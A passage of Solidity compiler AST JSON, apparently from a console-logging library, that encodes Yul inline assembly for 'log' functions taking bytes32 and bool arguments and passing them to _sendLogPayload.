length","nativeSrc":"79164:6:22","nodeType":"YulTypedName","src":"79164:6:22","type":""}]},{"body":{"nativeSrc":"79245:40:22","nodeType":"YulBlock","src":"79245:40:22","statements":[{"body":{"nativeSrc":"79274:9:22","nodeType":"YulBlock","src":"79274:9:22","statements":[{"nativeSrc":"79276:5:22","nodeType":"YulBreak","src":"79276:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"79262:6:22","nodeType":"YulIdentifier","src":"79262:6:22"},{"name":"w","nativeSrc":"79270:1:22","nodeType":"YulIdentifier","src":"79270:1:22"}],"functionName":{"name":"byte","nativeSrc":"79257:4:22","nodeType":"YulIdentifier","src":"79257:4:22"},"nativeSrc":"79257:15:22","nodeType":"YulFunctionCall","src":"79257:15:22"}],"functionName":{"name":"iszero","nativeSrc":"79250:6:22","nodeType":"YulIdentifier","src":"79250:6:22"},"nativeSrc":"79250:23:22","nodeType":"YulFunctionCall","src":"79250:23:22"},"nativeSrc":"79247:36:22","nodeType":"YulIf","src":"79247:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"79202:6:22","nodeType":"YulIdentifier","src":"79202:6:22"},{"kind":"number","nativeSrc":"79210:4:22","nodeType":"YulLiteral","src":"79210:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"79199:2:22","nodeType":"YulIdentifier","src":"79199:2:22"},"nativeSrc":"79199:16:22","nodeType":"YulFunctionCall","src":"79199:16:22"},"nativeSrc":"79192:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"79216:28:22","nodeType":"YulBlock","src":"79216:28:22","statements":[{"nativeSrc":"79218:24:22","nodeType":"YulAssignment","src":"79218:24:22","value":{"arguments":[{"name":"length","nativeSrc":"79232:6:22","nodeType":"YulIdentifier","src":"79232:6:22"},{"kind":"number","nativeSrc":"79240:1:22","nodeType":"YulLiteral","src":"79240:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"79228:3:22","nodeType":"YulIdentifier","src":"79228:3:22"},"nativeSrc":"79228:14:22","nodeType":"YulFunctionCall","src":"79228:14:22"},"variableNames":[{"name":"length","nativeSrc":"79218:6:22","nodeType":"YulIdentifier","src":"79218:6:22"}]}]},"pre":{"nativeSrc":"79196:2:22","nodeType":"YulBlock","src":"79196:2:22","statements":[]},"src":"79192:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"79309:3:22","nodeType":"YulIdentifier","src":"79309:3:22"},{"name":"length","nativeSrc":"79314:6:22","nodeType":"YulIdentifier","src":"79314:6:22"}],"functionName":{"name":"mstore","nativeSrc":"79302:6:22","nodeType":"YulIdentifier","src":"79302:6:22"},"nativeSrc":"79302:19:22","nodeType":"YulFunctionCall","src":"79302:19:22"},"nativeSrc":"79302:19:22","nodeType":"YulExpressionStatement","src":"79302:19:22"},{"nativeSrc":"79338:37:22","nodeType":"YulVariableDeclaration","src":"79338:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"79355:3:22","nodeType":"YulLiteral","src":"79355:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"79364:1:22","nodeType":"YulLiteral","src":"79364:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"79367:6:22","nodeType":"YulIdentifier","src":"79367:6:22"}],"functionName":{"name":"shl","nativeSrc":"79360:3:22","nodeType":"YulIdentifier","src":"79360:3:22"},"nativeSrc":"79360:14:22","nodeType":"YulFunctionCall","src":"79360:14:22"}],"functionName":{"name":"sub","nativeSrc":"79351:3:22","nodeType":"YulIdentifier","src":"79351:3:22"},"nativeSrc":"79351:24:22","nodeType":"YulFunctionCall","src":"79351:24:22"},"variables":[{"name":"shift","nativeSrc":"79342:5:22","nodeType":"YulTypedName","src":"79342:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"79403:3:22","nodeType":"YulIdentifier","src":"79403:3:22"},{"kind":"number","nativeSrc":"79408:4:22","nodeType":"YulLiteral","src":"79408:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"79399:3:22","nodeType":"YulIdentifier","src":"79399:3:22"},"nativeSrc":"79399:14:22","nodeType":"YulFunctionCall","src":"79399:14:22"},{"arguments":[{"name":"shift","nativeSrc":"79419:5:22","nodeType":"YulIdentifier","src":"79419:5:22"},{"arguments":[{"name":"shift","nativeSrc":"79430:5:22","nodeType":"YulIdentifier","src":"79430:5:22"},{"name":"w","nativeSrc":"79437:1:22","nodeType":"YulIdentifier","src":"79437:1:22"}],"functionName":{"name":"shr","nativeSrc":"79426:3:22","nodeType":"YulIdentifier","src":"79426:3:22"},"nativeSrc":"79426:13:22","nodeType":"YulFunctionCall","src":"79426:13:22"}],"functionName":{"name":"shl","nativeSrc":"79415:3:22","nodeType":"YulIdentifier","src":"79415:3:22"},"nativeSrc":"79415:25:22","nodeType":"YulFunctionCall","src":"79415:25:22"}],"functionName":{"name":"mstore","nativeSrc":"79392:6:22","nodeType":"YulIdentifier","src":"79392:6:22"},"nativeSrc":"79392:49:22","nodeType":"YulFunctionCall","src":"79392:49:22"},"nativeSrc":"79392:49:22","nodeType":"YulExpressionStatement","src":"79392:49:22"}]},"name":"writeString","nativeSrc":"79113:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"79134:3:22","nodeType":"YulTypedName","src":"79134:3:22","type":""},{"name":"w","nativeSrc":"79139:1:22","nodeType":"YulTypedName","src":"79139:1:22","type":""}],"src":"79113:342:22"},{"nativeSrc":"79468:17:22","nodeType":"YulAssignment","src":"79468:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"79480:4:22","nodeType":"YulLiteral","src":"79480:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"79474:5:22","nodeType":"YulIdentifier","src":"79474:5:22"},"nativeSrc":"79474:11:22","nodeType":"YulFunctionCall","src":"79474:11:22"},"variableNames":[{"name":"m0","nativeSrc":"79468:2:22","nodeType":"YulIdentifier","src":"79468:2:22"}]},{"nativeSrc":"79498:17:22","nodeType":"YulAssignment","src":"79498:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"79510:4:22","nodeType":"YulLiteral","src":"79510:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"79504:5:22","nodeType":"YulIdentifier","src":"79504:5:22"},"nativeSrc":"79504:11:22","nodeType":"YulFunctionCall","src":"79504:11:22"},"variableNames":[{"name":"m1","nativeSrc":"79498:2:22","nodeType":"YulIdentifier","src":"79498:2:22"}]},{"nativeSrc":"79528:17:22","nodeType":"YulAssignment","src":"79528:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"79540:4:22","nodeType":"YulLiteral","src":"79540:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"79534:5:22","nodeType":"YulIdentifier","src":"79534:5:22"},"nativeSrc":"79534:11:22","nodeType":"YulFunctionCall","src":"79534:11:22"},"variableNames":[{"name":"m2","nativeSrc":"79528:2:22","nodeType":"YulIdentifier","src":"79528:2:22"}]},{"nativeSrc":"79558:17:22","nodeType":"YulAssignment","src":"79558:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"79570:4:22","nodeType":"YulLiteral","src":"79570:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"79564:5:22","nodeType":"YulIdentifier","src":"79564:5:22"},"nativeSrc":"79564:11:22","nodeType":"YulFunctionCall","src":"79564:11:22"},"variableNames":[{"name":"m3","nativeSrc":"79558:2:22","nodeType":"YulIdentifier","src":"79558:2:22"}]},{"nativeSrc":"79588:17:22","nodeType":"YulAssignment","src":"79588:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"79600:4:22","nodeType":"YulLiteral","src":"79600:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"79594:5:22","nodeType":"YulIdentifier","src":"79594:5:22"},"nativeSrc":"79594:11:22","nodeType":"YulFunctionCall","src":"79594:11:22"},"variableNames":[{"name":"m4","nativeSrc":"79588:2:22","nodeType":"YulIdentifier","src":"79588:2:22"}]},{"nativeSrc":"79618:17:22","nodeType":"YulAssignment","src":"79618:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"79630:4:22","nodeType":"YulLiteral","src":"79630:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"79624:5:22","nodeType":"YulIdentifier","src":"79624:5:22"},"nativeSrc":"79624:11:22","nodeType":"YulFunctionCall","src":"79624:11:22"},"variableNames":[{"name":"m5","nativeSrc":"79618:2:22","nodeType":"YulIdentifier","src":"79618:2:22"}]},{"nativeSrc":"79648:17:22","nodeType":"YulAssignment","src":"79648:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"79660:4:22","nodeType":"YulLiteral","src":"79660:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"79654:5:22","nodeType":"YulIdentifier","src":"79654:5:22"},"nativeSrc":"79654:11:22","nodeType":"YulFunctionCall","src":"79654:11:22"},"variableNames":[{"name":"m6","nativeSrc":"79648:2:22","nodeType":"YulIdentifier","src":"79648:2:22"}]},{"nativeSrc":"79678:17:22","nodeType":"YulAssignment","src":"79678:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"79690:4:22","nodeType":"YulLiteral","src":"79690:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"79684:5:22","nodeType":"YulIdentifier","src":"79684:5:22"},"nativeSrc":"79684:11:22","nodeType":"YulFunctionCall","src":"79684:11:22"},"variableNames":[{"name":"m7","nativeSrc":"79678:2:22","nodeType":"YulIdentifier","src":"79678:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"79769:4:22","nodeType":"YulLiteral","src":"79769:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"79775:10:22","nodeType":"YulLiteral","src":"79775:10:22","type":"","value":"0xb0e0f9b5"}],"functionName":{"name":"mstore","nativeSrc":"79762:6:22","nodeType":"YulIdentifier","src":"79762:6:22"},"nativeSrc":"79762:24:22","nodeType":"YulFunctionCall","src":"79762:24:22"},"nativeSrc":"79762:24:22","nodeType":"YulExpressionStatement","src":"79762:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"79806:4:22","nodeType":"YulLiteral","src":"79806:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"79812:4:22","nodeType":"YulLiteral","src":"79812:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"79799:6:22","nodeType":"YulIdentifier","src":"79799:6:22"},"nativeSrc":"79799:18:22","nodeType":"YulFunctionCall","src":"79799:18:22"},"nativeSrc":"79799:18:22","nodeType":"YulExpressionStatement","src":"79799:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"79837:4:22","nodeType":"YulLiteral","src":"79837:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"79843:4:22","nodeType":"YulLiteral","src":"79843:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mstore","nativeSrc":"79830:6:22","nodeType":"YulIdentifier","src":"79830:6:22"},"nativeSrc":"79830:18:22","nodeType":"YulFunctionCall","src":"79830:18:22"},"nativeSrc":"79830:18:22","nodeType":"YulExpressionStatement","src":"79830:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"79868:4:22","nodeType":"YulLiteral","src":"79868:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"79874:2:22","nodeType":"YulIdentifier","src":"79874:2:22"}],"functionName":{"name":"mstore","nativeSrc":"79861:6:22","nodeType":"YulIdentifier","src":"79861:6:22"},"nativeSrc":"79861:16:22","nodeType":"YulFunctionCall","src":"79861:16:22"},"nativeSrc":"79861:16:22","nodeType":"YulExpressionStatement","src":"79861:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"79902:4:22","nodeType":"YulLiteral","src":"79902:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"79908:2:22","nodeType":"YulIdentifier","src":"79908:2:22"}],"functionName":{"name":"writeString","nativeSrc":"79890:11:22","nodeType":"YulIdentifier","src":"79890:11:22"},"nativeSrc":"79890:21:22","nodeType":"YulFunctionCall","src":"79890:21:22"},"nativeSrc":"79890:21:22","nodeType":"YulExpressionStatement","src":"79890:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"79936:4:22","nodeType":"YulLiteral","src":"79936:4:22","type":"","value":"0xc0"},{"name":"p1","nativeSrc":"79942:2:22","nodeType":"YulIdentifier","src":"79942:2:22"}],"functionName":{"name":"writeString","nativeSrc":"79924:11:22","nodeType":"YulIdentifier","src":"79924:11:22"},"nativeSrc":"79924:21:22","nodeType":"YulFunctionCall","src":"79924:21:22"},"nativeSrc":"79924:21:22","nodeType":"YulExpressionStatement","src":"79924:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36227,"isOffset":false,"isSlot":false,"src":"79468:2:22","valueSize":1},{"declaration":36230,"isOffset":false,"isSlot":false,"src":"79498:2:22","valueSize":1},{"declaration":36233,"isOffset":false,"isSlot":false,"src":"79528:2:22","valueSize":1},{"declaration":36236,"isOffset":false,"isSlot":false,"src":"79558:2:22","valueSize":1},{"declaration":36239,"isOffset":false,"isSlot":false,"src":"79588:2:22","valueSize":1},{"declaration":36242,"isOffset":false,"isSlot":false,"src":"79618:2:22","valueSize":1},{"declaration":36245,"isOffset":false,"isSlot":false,"src":"79648:2:22","valueSize":1},{"declaration":36248,"isOffset":false,"isSlot":false,"src":"79678:2:22","valueSize":1},{"declaration":36219,"isOffset":false,"isSlot":false,"src":"79908:2:22","valueSize":1},{"declaration":36221,"isOffset":false,"isSlot":false,"src":"79942:2:22","valueSize":1},{"declaration":36223,"isOffset":false,"isSlot":false,"src":"79874:2:22","valueSize":1}],"id":36250,"nodeType":"InlineAssembly","src":"79090:865:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36252,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"79980:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786534","id":36253,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"79986:4:22","typeDescriptions":{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"},"value":"0xe4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"}],"id":36251,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"79964:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36254,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"79964:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36255,"nodeType":"ExpressionStatement","src":"79964:27:22"},{"AST":{"nativeSrc":"80010:243:22","nodeType":"YulBlock","src":"80010:243:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"80031:4:22","nodeType":"YulLiteral","src":"80031:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"80037:2:22","nodeType":"YulIdentifier","src":"80037:2:22"}],"functionName":{"name":"mstore","nativeSrc":"80024:6:22","nodeType":"YulIdentifier","src":"80024:6:22"},"nativeSrc":"80024:16:22","nodeType":"YulFunctionCall","src":"80024:16:22"},"nativeSrc":"80024:16:22","nodeType":"YulExpressionStatement","src":"80024:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"80060:4:22","nodeType":"YulLiteral","src":"80060:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"80066:2:22","nodeType":"YulIdentifier","src":"80066:2:22"}],"functionName":{"name":"mstore","nativeSrc":"80053:6:22","nodeType":"YulIdentifier","src":"80053:6:22"},"nativeSrc":"80053:16:22","nodeType":"YulFunctionCall","src":"80053:16:22"},"nativeSrc":"80053:16:22","nodeType":"YulExpressionStatement","src":"80053:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"80089:4:22","nodeType":"YulLiteral","src":"80089:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"80095:2:22","nodeType":"YulIdentifier","src":"80095:2:22"}],"functionName":{"name":"mstore","nativeSrc":"80082:6:22","nodeType":"YulIdentifier","src":"80082:6:22"},"nativeSrc":"80082:16:22","nodeType":"YulFunctionCall","src":"80082:16:22"},"nativeSrc":"80082:16:22","nodeType":"YulExpressionStatement","src":"80082:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"80118:4:22","nodeType":"YulLiteral","src":"80118:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"80124:2:22","nodeType":"YulIdentifier","src":"80124:2:22"}],"functionName":{"name":"mstore","nativeSrc":"80111:6:22","nodeType":"YulIdentifier","src":"80111:6:22"},"nativeSrc":"80111:16:22","nodeType":"YulFunctionCall","src":"80111:16:22"},"nativeSrc":"80111:16:22","nodeType":"YulExpressionStatement","src":"80111:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"80147:4:22","nodeType":"YulLiteral","src":"80147:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"80153:2:22","nodeType":"YulIdentifier","src":"80153:2:22"}],"functionName":{"name":"mstore","nativeSrc":"80140:6:22","nodeType":"YulIdentifier","src":"80140:6:22"},"nativeSrc":"80140:16:22","nodeType":"YulFunctionCall","src":"80140:16:22"},"nativeSrc":"80140:16:22","nodeType":"YulExpressionStatement","src":"80140:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"80176:4:22","nodeType":"YulLiteral","src":"80176:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"80182:2:22","nodeType":"YulIdentifier","src":"80182:2:22"}],"functionName":{"name":"mstore","nativeSrc":"80169:6:22","nodeType":"YulIdentifier","src":"80169:6:22"},"nativeSrc":"80169:16:22","nodeType":"YulFunctionCall","src":"80169:16:22"},"nativeSrc":"80169:16:22","nodeType":"YulExpressionStatement","src":"80169:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"80205:4:22","nodeType":"YulLiteral","src":"80205:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"80211:2:22","nodeType":"YulIdentifier","src":"80211:2:22"}],"functionName":{"name":"mstore","nativeSrc":"80198:6:22","nodeType":"YulIdentifier","src":"80198:6:22"},"nativeSrc":"80198:16:22","nodeType":"YulFunctionCall","src":"80198:16:22"},"nativeSrc":"80198:16:22","nodeType":"YulExpressionStatement","src":"80198:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"80234:4:22","nodeType":"YulLiteral","src":"80234:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"80240:2:22","nodeType":"YulIdentifier","src":"80240:2:22"}],"functionName":{"name":"mstore","nativeSrc":"80227:6:22","nodeType":"YulIdentifier","src":"80227:6:22"},"nativeSrc":"80227:16:22","nodeType":"YulFunctionCall","src":"80227:16:22"},"nativeSrc":"80227:16:22","nodeType":"YulExpressionStatement","src":"80227:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36227,"isOffset":false,"isSlot":false,"src":"80037:2:22","valueSize":1},{"declaration":36230,"isOffset":false,"isSlot":false,"src":"80066:2:22","valueSize":1},{"declaration":36233,"isOffset":false,"isSlot":false,"src":"80095:2:22","valueSize":1},{"declaration":36236,"isOffset":false,"isSlot":false,"src":"80124:2:22","valueSize":1},{"declaration":36239,"isOffset":false,"isSlot":false,"src":"80153:2:22","valueSize":1},{"declaration":36242,"isOffset":false,"isSlot":false,"src":"80182:2:22","valueSize":1},{"declaration":36245,"isOffset":false,"isSlot":false,"src":"80211:2:22","valueSize":1},{"declaration":36248,"isOffset":false,"isSlot":false,"src":"80240:2:22","valueSize":1}],"id":36256,"nodeType":"InlineAssembly","src":"80001:252:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"78869:3:22","parameters":{"id":36224,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36219,"mutability":"mutable","name":"p0","nameLocation":"78881:2:22","nodeType":"VariableDeclaration","scope":36258,"src":"78873:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36218,"name":"bytes32","nodeType":"ElementaryTypeName","src":"78873:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36221,"mutability":"mutable","name":"p1","nameLocation":"78893:2:22","nodeType":"VariableDeclaration","scope":36258,"src":"78885:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36220,"name":"bytes32","nodeType":"ElementaryTypeName","src":"78885:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36223,"mutability":"mutable","name":"p2","nameLocation":"78902:2:22","nodeType":"VariableDeclaration","scope":36258,"src":"78897:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36222,"name":"bool","nodeType":"ElementaryTypeName","src":"78897:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"78872:33:22"},"returnParameters":{"id":36225,"nodeType":"ParameterList","parameters":[],"src":"78920:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36299,"nodeType":"FunctionDefinition","src":"80265:1405:22","nodes":[],"body":{"id":36298,"nodeType":"Block","src":"80328:1342:22","nodes":[],"statements":[{"assignments":[36268],"declarations":[{"constant":false,"id":36268,"mutability":"mutable","name":"m0","nameLocation":"80346:2:22","nodeType":"VariableDeclaration","scope":36298,"src":"80338:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36267,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80338:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36269,"nodeType":"VariableDeclarationStatement","src":"80338:10:22"},{"assignments":[36271],"declarations":[{"constant":false,"id":36271,"mutability":"mutable","name":"m1","nameLocation":"80366:2:22","nodeType":"VariableDeclaration","scope":36298,"src":"80358:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36270,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80358:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36272,"nodeType":"VariableDeclarationStatement","src":"80358:10:22"},{"assignments":[36274],"declarations":[{"constant":false,"id":36274,"mutability":"mutable","name":"m2","nameLocation":"80386:2:22","nodeType":"VariableDeclaration","scope":36298,"src":"80378:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36273,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80378:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36275,"nodeType":"VariableDeclarationStatement","src":"80378:10:22"},{"assignments":[36277],"declarations":[{"constant":false,"id":36277,"mutability":"mutable","name":"m3","nameLocation":"80406:2:22","nodeType":"VariableDeclaration","scope":36298,"src":"80398:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36276,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80398:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36278,"nodeType":"VariableDeclarationStatement","src":"80398:10:22"},{"assignments":[36280],"declarations":[{"constant":false,"id":36280,"mutability":"mutable","name":"m4","nameLocation":"80426:2:22","nodeType":"VariableDeclaration","scope":36298,"src":"80418:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36279,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80418:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36281,"nodeType":"VariableDeclarationStatement","src":"80418:10:22"},{"assignments":[36283],"declarations":[{"constant":false,"id":36283,"mutability":"mutable","name":"m5","nameLocation":"80446:2:22","nodeType":"VariableDeclaration","scope":36298,"src":"80438:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36282,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80438:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36284,"nodeType":"VariableDeclarationStatement","src":"80438:10:22"},{"assignments":[36286],"declarations":[{"constant":false,"id":36286,"mutability":"mutable","name":"m6","nameLocation":"80466:2:22","nodeType":"VariableDeclaration","scope":36298,"src":"80458:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36285,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80458:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36287,"nodeType":"VariableDeclarationStatement","src":"80458:10:22"},{"assignments":[36289],"declarations":[{"constant":false,"id":36289,"mutability":"mutable","name":"m7","nameLocation":"80486:2:22","nodeType":"VariableDeclaration","scope":36298,"src":"80478:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36288,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80478:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36290,"nodeType":"VariableDeclarationStatement","src":"80478:10:22"},{"AST":{"nativeSrc":"80507:859:22","nodeType":"YulBlock","src":"80507:859:22","statements":[{"body":{"nativeSrc":"80550:313:22","nodeType":"YulBlock","src":"80550:313:22","statements":[{"nativeSrc":"80568:15:22","nodeType":"YulVariableDeclaration","src":"80568:15:22","value":{"kind":"number","nativeSrc":"80582:1:22","nodeType":"YulLiteral","src":"80582:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"80572:6:22","nodeType":"YulTypedName","src":"80572:6:22","type":""}]},{"body":{"nativeSrc":"80653:40:22","nodeType":"YulBlock","src":"80653:40:22","statements":[{"body":{"nativeSrc":"80682:9:22","nodeType":"YulBlock","src":"80682:9:22","statements":[{"nativeSrc":"80684:5:22","nodeType":"YulBreak","src":"80684:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"80670:6:22","nodeType":"YulIdentifier","src":"80670:6:22"},{"name":"w","nativeSrc":"80678:1:22","nodeType":"YulIdentifier","src":"80678:1:22"}],"functionName":{"name":"byte","nativeSrc":"80665:4:22","nodeType":"YulIdentifier","src":"80665:4:22"},"nativeSrc":"80665:15:22","nodeType":"YulFunctionCall","src":"80665:15:22"}],"functionName":{"name":"iszero","nativeSrc":"80658:6:22","nodeType":"YulIdentifier","src":"80658:6:22"},"nativeSrc":"80658:23:22","nodeType":"YulFunctionCall","src":"80658:23:22"},"nativeSrc":"80655:36:22","nodeType":"YulIf","src":"80655:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"80610:6:22","nodeType":"YulIdentifier","src":"80610:6:22"},{"kind":"number","nativeSrc":"80618:4:22","nodeType":"YulLiteral","src":"80618:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"80607:2:22","nodeType":"YulIdentifier","src":"80607:2:22"},"nativeSrc":"80607:16:22","nodeType":"YulFunctionCall","src":"80607:16:22"},"nativeSrc":"80600:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"80624:28:22","nodeType":"YulBlock","src":"80624:28:22","statements":[{"nativeSrc":"80626:24:22","nodeType":"YulAssignment","src":"80626:24:22","value":{"arguments":[{"name":"length","nativeSrc":"80640:6:22","nodeType":"YulIdentifier","src":"80640:6:22"},{"kind":"number","nativeSrc":"80648:1:22","nodeType":"YulLiteral","src":"80648:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"80636:3:22","nodeType":"YulIdentifier","src":"80636:3:22"},"nativeSrc":"80636:14:22","nodeType":"YulFunctionCall","src":"80636:14:22"},"variableNames":[{"name":"length","nativeSrc":"80626:6:22","nodeType":"YulIdentifier","src":"80626:6:22"}]}]},"pre":{"nativeSrc":"80604:2:22","nodeType":"YulBlock","src":"80604:2:22","statements":[]},"src":"80600:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"80717:3:22","nodeType":"YulIdentifier","src":"80717:3:22"},{"name":"length","nativeSrc":"80722:6:22","nodeType":"YulIdentifier","src":"80722:6:22"}],"functionName":{"name":"mstore","nativeSrc":"80710:6:22","nodeType":"YulIdentifier","src":"80710:6:22"},"nativeSrc":"80710:19:22","nodeType":"YulFunctionCall","src":"80710:19:22"},"nativeSrc":"80710:19:22","nodeType":"YulExpressionStatement","src":"80710:19:22"},{"nativeSrc":"80746:37:22","nodeType":"YulVariableDeclaration","src":"80746:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"80763:3:22","nodeType":"YulLiteral","src":"80763:3:22","t